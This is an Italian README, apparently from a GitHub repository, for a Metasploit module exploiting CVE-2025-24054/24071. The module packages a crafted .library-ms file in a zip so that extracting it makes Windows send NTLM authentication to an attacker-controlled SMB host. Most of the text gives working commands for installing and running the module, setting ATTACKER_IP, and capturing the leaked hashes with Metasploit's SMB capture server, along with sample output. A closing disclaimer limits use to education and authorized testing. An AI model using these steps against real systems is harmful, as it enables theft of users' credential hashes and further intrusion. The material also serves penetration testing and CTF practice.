securitylayer404/cve-2025-24054-24071---metasploit-moduleModulo Metasploit per sfruttare CVE-2025-24054 (ex 24071). Exploit di filtraggio NTLM integrato in Metasploit per vettori di attacco basati su librerie di Windows.
La vulnerabilità si verifica durante il processo di estrazione di un file .zip. Interagendo con un file .library-ms appositamente progettato, Esplora risorse di Windows elabora lo schema XML interno e avvia automaticamente una richiesta di autenticazione SMB verso un percorso remoto controllato dall'attaccante.
Questo comportamento consente l'esfiltrazione dell'hash NTLM dell'utente senza richiedere ulteriori interazioni oltre alla decompressione del file. Per una prova di concetto ti consiglio di visitare il seguente link: Fluffy - HTB.
Sebbene originariamente questa vulnerabilità sia stata divulgata come CVE-2025-24071, attualmente viene tracciata ufficialmente come CVE-2025-24054.
Clonare il repository:
❯ git clone https://github.com/SecurityLayer404/CVE-2025-24054-24071---Metasploit-Module.git
❯ cd CVE-2025-24071
Copiare il modulo nella directory di Metasploit:
❯ cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
Se la directory non esiste, creala con:
❯ mkdir -p ~/.msf4/modules/auxiliary/server/
Quindi copia nuovamente il modulo.
Avviare Metasploit e caricare il modulo:
❯ msfconsole -q
❯ use auxiliary/server/ntlm_hash_leak
Se il modulo è stato caricato correttamente, potrai vedere le opzioni per configurarlo:
❯ show options
Module options (auxiliary/server/ntlm_hash_leak):
Nome Impostazione Corrente Richiesto Descrizione
---- --------------- -------- -----------
ATTACKER_IP sì IP dell'attaccante (dove esegue Responder/Impacket)
FILENAME exploit.zip sì Il nome del file ZIP
LIBRARY_NAME documents.library-ms sì Nome del file .library-ms
SHARE_NAME risorsa sì Nome della risorsa condivisa fittizia
Configura il modulo ed esegui:
❯ set ATTACKER_IP 0.0.0.0 # Sostituisci con il tuo IP attaccante
❯ set FILENAME exploit.zip # Nome del payload che caricherai sull'SMB (macchina target)
❯ set LIBRARY_NAME malicious.library-ms # Nome del file .library-ms
❯ set SHARE_NAME it_shared # Nome della risorsa SMB
❯ run
Output: il modulo genera un file .zip che deve essere caricato sul server SMB target per la successiva esecuzione da parte della vittima:
[+] exploit.zip stored at /home/user/.msf4/local/exploit.zip
[+] Archivo guardado en: /home/user/.msf4/local/exploit.zip
[*] Auxiliary module execution completed
Infine, utilizza il modulo di cattura SMB di Metasploit per ricevere gli hash NTLM:
❯ use auxiliary/server/capture/smb
❯ set SRVHOST 0.0.0.0 # Sostituisci con il tuo IP attaccante
❯ run
Se hai problemi ad avviare il server SMB da Metasploit:
Questo modulo è stato sviluppato esclusivamente a scopo educativo e per test autorizzati. L'uso non autorizzato di questo tipo di strumenti potrebbe essere illegale.
Security Layer